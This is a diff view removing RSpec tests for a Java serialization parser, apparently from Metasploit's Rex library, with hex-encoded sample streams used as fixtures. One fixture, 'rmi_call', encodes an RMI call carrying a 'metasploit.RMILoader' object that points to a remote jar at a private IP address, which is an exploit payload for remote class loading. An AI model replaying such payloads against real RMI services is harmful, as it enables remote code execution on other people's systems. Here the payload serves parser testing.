||||||
it "initializes class_annotation with nil" do
|
|
||||||
expect(class_desc_new.class_annotation).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes super_class with nil" do
|
|
||||||
expect(class_desc_new.super_class).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::NewClassDesc" do
|
|
||||||
expect(class_desc_new.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class_name as Utf" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.class_name).to be_a(Rex::Java::Serialization::Model::Utf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class_name contents correctly" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.class_name.contents).to eq('java.lang.Byte')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes serial_version correctly" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.serial_version).to eq(0x9c4e6084ee50f51c)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes flags correctly" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.flags).to eq(2)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes fields" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.fields.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes fields contents correctly" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.fields[0].type).to eq('byte')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class annotation correctly" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class annotation contents" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes super_class" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes super class description" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes a NewClassDesc" do
|
|
||||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
|
|
||||||
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
|
|
||||||
super_class_desc_new.flags = 2
|
|
||||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc.description = super_class_desc_new
|
|
||||||
|
|
||||||
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
|
|
||||||
class_desc_new.serial_version = 0x9c4e6084ee50f51c
|
|
||||||
class_desc_new.flags = 2
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = 'byte'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
|
|
||||||
class_desc_new.fields << field
|
|
||||||
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
class_desc_new.super_class = super_class_desc
|
|
||||||
|
|
||||||
expect(class_desc_new.encode.unpack("C*")).to eq(sample.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a sample NewClassDesc stream" do
|
|
||||||
class_desc_new.decode(sample_io)
|
|
||||||
expect(class_desc_new.to_s).to eq('java.lang.Byte, [ value (byte) ], @super_class: java.lang.Number')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,83 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::NewEnum do
|
|
||||||
|
|
||||||
subject(:new_enum) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_enum) do
|
|
||||||
"\x72\x00\x09\x45\x6e\x75\x6d\x73" +
|
|
||||||
"\x24\x44\x61\x79\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x12\x00\x00\x78" +
|
|
||||||
"\x72\x00\x0e\x6a\x61\x76\x61\x2e" +
|
|
||||||
"\x6c\x61\x6e\x67\x2e\x45\x6e\x75" +
|
|
||||||
"\x6d\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\x00\x12\x00\x00\x78\x70\x74\x00" +
|
|
||||||
"\x06\x53\x55\x4e\x44\x41\x59"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_enum_io) { StringIO.new(sample_enum) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::NewEnum" do
|
|
||||||
expect(new_enum).to be_a(Rex::Java::Serialization::Model::NewEnum)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes enum_description with nil" do
|
|
||||||
expect(new_enum.enum_description).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes constant_name with nil" do
|
|
||||||
expect(new_enum.constant_name).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
it "deserializes an Enum" do
|
|
||||||
expect(new_enum.decode(sample_enum_io)).to be_a(Rex::Java::Serialization::Model::NewEnum)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the constant_name correctly" do
|
|
||||||
new_enum.decode(sample_enum_io)
|
|
||||||
expect(new_enum.constant_name.contents).to eq('SUNDAY')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes an Enum" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Enums$Day')
|
|
||||||
new_class_desc.serial_version = 0
|
|
||||||
new_class_desc.flags = 18
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.super_class.description.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Enum')
|
|
||||||
new_class_desc.super_class.description.serial_version = 0
|
|
||||||
new_class_desc.super_class.description.flags = 18
|
|
||||||
new_class_desc.super_class.description.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.super_class.description.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class.description.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_enum.enum_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_enum.enum_description.description = new_class_desc
|
|
||||||
new_enum.constant_name = Rex::Java::Serialization::Model::Utf.new(nil, 'SUNDAY')
|
|
||||||
|
|
||||||
expect(new_enum.encode.unpack("C*")).to eq(sample_enum.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a sample NewEnum stream" do
|
|
||||||
new_enum.decode(sample_enum_io)
|
|
||||||
expect(new_enum.to_s).to eq('SUNDAY')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,82 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::NewObject do
|
|
||||||
|
|
||||||
subject(:new_object) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:easy_object) do
|
|
||||||
"\x72\x00\x04\x45\x61\x73\x79\x74" +
|
|
||||||
"\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" +
|
|
||||||
"\x00\x01\x49\x00\x03\x53\x53\x4e" +
|
|
||||||
"\x78\x70\x41\x42\x43\x44"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:easy_object_io) { StringIO.new(easy_object) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::NewObject" do
|
|
||||||
expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes class_desc with nil" do
|
|
||||||
expect(new_object.class_desc).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes class_data with empty array" do
|
|
||||||
expect(new_object.class_data).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
it "deserializes an object" do
|
|
||||||
expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the object class fields correctly" do
|
|
||||||
new_object.decode(easy_object_io)
|
|
||||||
expect(new_object.class_desc.description.fields.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the object class data correctly" do
|
|
||||||
new_object.decode(easy_object_io)
|
|
||||||
expect(new_object.class_data).to eq([['int', 0x41424344]])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes an Object" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
|
|
||||||
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = 'int'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
|
|
||||||
new_class_desc.fields << field
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_object.class_desc.description = new_class_desc
|
|
||||||
new_object.class_data = [['int', 0x41424344]]
|
|
||||||
|
|
||||||
expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a sample Object stream" do
|
|
||||||
new_object.decode(easy_object_io)
|
|
||||||
expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,115 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do
|
|
||||||
subject(:proxy_class_desc) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample) do
|
|
||||||
"\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" +
|
|
||||||
"\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" +
|
|
||||||
"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" +
|
|
||||||
"\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" +
|
|
||||||
"\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
|
|
||||||
"\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" +
|
|
||||||
"\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_io) { StringIO.new(sample) }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::ProxyClassDesc" do
|
|
||||||
expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes interfaces with empty Array" do
|
|
||||||
expect(proxy_class_desc.interfaces).to be_empty
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes class_annotation with nil" do
|
|
||||||
expect(proxy_class_desc.class_annotation).to be_nil
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes super_class with nil" do
|
|
||||||
expect(proxy_class_desc.super_class).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do
|
|
||||||
expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes interfaces" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.interfaces.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes interfaces contents correctly" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class annotation correctly" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes class annotation contents" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes super_class" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes super class description" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
it "serializes a ProxyClassDesc" do
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = 'object'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h')
|
|
||||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;')
|
|
||||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy')
|
|
||||||
super_class_desc_new.serial_version = 0xe127da20cc1043cb
|
|
||||||
super_class_desc_new.flags = 2
|
|
||||||
super_class_desc_new.fields << field
|
|
||||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
super_class_desc.description = super_class_desc_new
|
|
||||||
|
|
||||||
interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello')
|
|
||||||
proxy_class_desc.interfaces << interface
|
|
||||||
proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
proxy_class_desc.super_class = super_class_desc
|
|
||||||
|
|
||||||
expect(proxy_class_desc.encode).to eq(sample)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a sample NewClassDesc stream" do
|
|
||||||
proxy_class_desc.decode(sample_io)
|
|
||||||
expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,428 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::Stream do
|
|
||||||
|
|
||||||
subject(:stream) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:easy_object_stream) do
|
|
||||||
"\xac\xed\x00\x05\x73\x72\x00\x04" +
|
|
||||||
"\x45\x61\x73\x79\x74\x1d\xe1\xbc" +
|
|
||||||
"\xbb\x2f\xcb\xaa\x02\x00\x01\x49" +
|
|
||||||
"\x00\x03\x53\x53\x4e\x78\x70\x41" +
|
|
||||||
"\x42\x43\x44"
|
|
||||||
end
|
|
||||||
let(:easy_object_stream_io) { StringIO.new(easy_object_stream) }
|
|
||||||
let(:easy_object_stream_to_s) {
|
|
||||||
<<-EOS
|
|
||||||
@magic: 0xaced
|
|
||||||
@version: 5
|
|
||||||
@contents: [
|
|
||||||
NewObject { Easy => { ["int", 1094861636] } }
|
|
||||||
]
|
|
||||||
@references: [
|
|
||||||
[7e0000] NewClassDesc { Easy, [ SSN (int) ] }
|
|
||||||
[7e0001] NewObject { Easy => { ["int", 1094861636] } }
|
|
||||||
]
|
|
||||||
EOS
|
|
||||||
}
|
|
||||||
|
|
||||||
let(:char_array_stream) do
|
|
||||||
"\xac\xed\x00\x05\x75\x72\x00\x02" +
|
|
||||||
"\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" +
|
|
||||||
"\x84\xac\x02\x00\x00\x78\x70\x00" +
|
|
||||||
"\x00\x00\x02\x00\x61\x00\x62"
|
|
||||||
end
|
|
||||||
let(:char_array_stream_io) { StringIO.new(char_array_stream) }
|
|
||||||
let(:char_array_stream_to_s) {
|
|
||||||
<<-EOS
|
|
||||||
@magic: 0xaced
|
|
||||||
@version: 5
|
|
||||||
@contents: [
|
|
||||||
NewArray { char, ["97", "98"] }
|
|
||||||
]
|
|
||||||
@references: [
|
|
||||||
[7e0000] NewClassDesc { [C, [ ] }
|
|
||||||
[7e0001] NewArray { char, ["97", "98"] }
|
|
||||||
]
|
|
||||||
EOS
|
|
||||||
}
|
|
||||||
|
|
||||||
let(:complex_stream) do
|
|
||||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
|
|
||||||
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
|
|
||||||
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
|
|
||||||
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
|
|
||||||
"\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" +
|
|
||||||
"\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" +
|
|
||||||
"\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" +
|
|
||||||
"\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" +
|
|
||||||
"\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" +
|
|
||||||
"\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" +
|
|
||||||
"\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" +
|
|
||||||
"\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" +
|
|
||||||
"\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" +
|
|
||||||
"\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" +
|
|
||||||
"\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" +
|
|
||||||
"\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" +
|
|
||||||
"\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" +
|
|
||||||
"\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" +
|
|
||||||
"\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" +
|
|
||||||
"\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" +
|
|
||||||
"\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" +
|
|
||||||
"\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" +
|
|
||||||
"\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" +
|
|
||||||
"\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" +
|
|
||||||
"\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" +
|
|
||||||
"\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" +
|
|
||||||
"\xc1\xc0"
|
|
||||||
end
|
|
||||||
let(:complex_stream_io) { StringIO.new(complex_stream) }
|
|
||||||
let(:complex_stream_to_s) {
|
|
||||||
<<-EOS
|
|
||||||
@magic: 0xaced
|
|
||||||
@version: 5
|
|
||||||
@contents: [
|
|
||||||
BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] }
|
|
||||||
NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
|
|
||||||
BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] }
|
|
||||||
NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
|
|
||||||
]
|
|
||||||
@references: [
|
|
||||||
[7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] }
|
|
||||||
[7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] }
|
|
||||||
[7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] }
|
|
||||||
[7e0003] Utf { Ljava/rmi/server/UID; }
|
|
||||||
[7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } }
|
|
||||||
[7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] }
|
|
||||||
[7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } }
|
|
||||||
[7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] }
|
|
||||||
[7e0008] Utf { Ljava/rmi/dgc/VMID; }
|
|
||||||
[7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } }
|
|
||||||
[7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] }
|
|
||||||
[7e000b] Utf { [B }
|
|
||||||
[7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } }
|
|
||||||
[7e000d] NewClassDesc { [B, [ ] }
|
|
||||||
[7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] }
|
|
||||||
[7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } }
|
|
||||||
]
|
|
||||||
EOS
|
|
||||||
}
|
|
||||||
|
|
||||||
let(:rmi_call) do
|
|
||||||
"\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" +
|
|
||||||
"\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" +
|
|
||||||
"\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" +
|
|
||||||
"\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" +
|
|
||||||
"\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" +
|
|
||||||
"\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" +
|
|
||||||
"\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" +
|
|
||||||
"\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" +
|
|
||||||
"\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" +
|
|
||||||
"\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:mbean_call) do
|
|
||||||
"\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" +
|
|
||||||
"\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" +
|
|
||||||
